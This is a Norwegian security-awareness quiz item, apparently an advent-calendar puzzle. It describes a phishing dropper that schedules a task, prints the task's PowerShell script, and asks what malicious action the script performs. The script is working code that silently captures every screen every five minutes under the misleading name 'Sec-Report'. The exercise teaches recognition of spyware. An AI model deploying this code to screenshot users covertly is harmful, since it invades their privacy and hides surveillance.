Luke 1

Du har gått på et phishingangrep, og etter å ha godkjent kjøring av et dropper-script har det blitt opprettet en planlagt oppgave (schtasks) på PC-en din, som kjører et PowerShell-script hvert 5. minutt. Dette scriptet inneholder følgende kodeblokk: 

function Sec-Report {

    param (

        [string]$SavePath = "C:\Temp"

    )

    if (!(Test-Path -Path $SavePath)) {

        New-Item -ItemType Directory -Path $SavePath -Force | Out-Null

    }

    Add-Type -AssemblyName System.Windows.Forms,System.Drawing

    $screens = [Windows.Forms.Screen]::AllScreens

    $top    = ($screens | ForEach-Object { $_.Bounds.Top }    | Measure-Object -Minimum).Minimum

    $left   = ($screens | ForEach-Object { $_.Bounds.Left }   | Measure-Object -Minimum).Minimum

    $right  = ($screens | ForEach-Object { $_.Bounds.Right }  | Measure-Object -Maximum).Maximum

    $bottom = ($screens | ForEach-Object { $_.Bounds.Bottom } | Measure-Object -Maximum).Maximum

    $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $right, $bottom)

    $bmp = New-Object System.Drawing.Bitmap([int]$bounds.Width, [int]$bounds.Height)

    $graphics = [System.Drawing.Graphics]::FromImage($bmp)

    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size)

    $timestamp = Get-Date -Format "yyyyMMdd_HHmmss"

    $filePath = "$SavePath\screenshot_$timestamp.png"

    $bmp.Save($filePath)

    $graphics.Dispose()

    $bmp.Dispose()

}

Sec-Report

Hvilken uønsket tilsiktet handling har skurkene utført mot deg her?